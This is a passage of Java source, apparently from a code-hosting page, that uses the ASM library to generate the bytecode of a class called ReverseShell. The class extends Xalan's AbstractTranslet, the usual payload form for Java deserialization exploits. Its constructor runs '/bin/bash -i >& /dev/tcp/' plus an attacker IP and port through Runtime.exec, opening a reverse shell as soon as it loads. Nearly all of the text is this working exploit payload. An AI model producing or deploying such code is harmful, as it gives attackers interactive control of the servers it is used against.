mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||
"([Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitInsn(POP);
|
||||
mv.visitLabel(endTry);
|
||||
mv.visitJumpInsn(GOTO, unixBlock);
|
||||
|
||||
mv.visitLabel(catchBlock);
|
||||
mv.visitVarInsn(ASTORE, 2);
|
||||
mv.visitVarInsn(ALOAD, 2);
|
||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace",
|
||||
"()V", false);
|
||||
|
||||
mv.visitLabel(unixBlock);
|
||||
mv.visitInsn(RETURN);
|
||||
mv.visitEnd();
|
||||
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "transform",
|
||||
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
|
||||
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||
mv.visitCode();
|
||||
mv.visitInsn(RETURN);
|
||||
mv.visitEnd();
|
||||
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "transform",
|
||||
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
|
||||
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||
mv.visitCode();
|
||||
mv.visitInsn(RETURN);
|
||||
mv.visitEnd();
|
||||
|
||||
{
|
||||
fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null);
|
||||
fv.visitEnd();
|
||||
}
|
||||
{
|
||||
fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null);
|
||||
fv.visitEnd();
|
||||
}
|
||||
{
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
|
||||
mv.visitCode();
|
||||
Label l0 = new Label();
|
||||
Label l1 = new Label();
|
||||
Label l2 = new Label();
|
||||
mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
|
||||
Label l3 = new Label();
|
||||
mv.visitLabel(l3);
|
||||
mv.visitLineNumber(12, l3);
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
|
||||
Label l4 = new Label();
|
||||
mv.visitLabel(l4);
|
||||
mv.visitLineNumber(13, l4);
|
||||
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
|
||||
mv.visitLdcInsn("/");
|
||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
|
||||
Label l5 = new Label();
|
||||
mv.visitJumpInsn(IFEQ, l5);
|
||||
Label l6 = new Label();
|
||||
mv.visitLabel(l6);
|
||||
mv.visitLineNumber(14, l6);
|
||||
mv.visitInsn(ICONST_3);
|
||||
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_0);
|
||||
mv.visitLdcInsn("/bin/bash");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_1);
|
||||
mv.visitLdcInsn("-c");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_2);
|
||||
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitVarInsn(ASTORE, 1);
|
||||
mv.visitLabel(l0);
|
||||
mv.visitLineNumber(16, l0);
|
||||
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(ALOAD, 1);
|
||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitInsn(POP);
|
||||
mv.visitLabel(l1);
|
||||
mv.visitLineNumber(19, l1);
|
||||
mv.visitJumpInsn(GOTO, l5);
|
||||
mv.visitLabel(l2);
|
||||
mv.visitLineNumber(17, l2);
|
||||
mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"});
|
||||
mv.visitVarInsn(ASTORE, 2);
|
||||
Label l7 = new Label();
|
||||
mv.visitLabel(l7);
|
||||
mv.visitLineNumber(18, l7);
|
||||
mv.visitVarInsn(ALOAD, 2);
|
||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
mv.visitLabel(l5);
|
||||
mv.visitLineNumber(22, l5);
|
||||
mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
|
||||
mv.visitInsn(RETURN);
|
||||
Label l8 = new Label();
|
||||
mv.visitLabel(l8);
|
||||
mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2);
|
||||
mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1);
|
||||
mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0);
|
||||
mv.visitMaxs(4, 3);
|
||||
mv.visitEnd();
|
||||
}
|
||||
{
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||
mv.visitCode();
|
||||
Label l0 = new Label();
|
||||
mv.visitLabel(l0);
|
||||
mv.visitLineNumber(27, l0);
|
||||
mv.visitInsn(RETURN);
|
||||
Label l1 = new Label();
|
||||
mv.visitLabel(l1);
|
||||
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
|
||||
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
|
||||
mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
|
||||
mv.visitMaxs(0, 3);
|
||||
mv.visitEnd();
|
||||
}
|
||||
{
|
||||
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||
mv.visitCode();
|
||||
Label l0 = new Label();
|
||||
mv.visitLabel(l0);
|
||||
mv.visitLineNumber(32, l0);
|
||||
mv.visitInsn(RETURN);
|
||||
Label l1 = new Label();
|
||||
mv.visitLabel(l1);
|
||||
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
|
||||
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
|
||||
mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
|
||||
mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
|
||||
mv.visitMaxs(0, 4);
|
||||
mv.visitEnd();
|
||||
}
|
||||
cw.visitEnd();
|
||||
bytes = cw.toByteArray();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user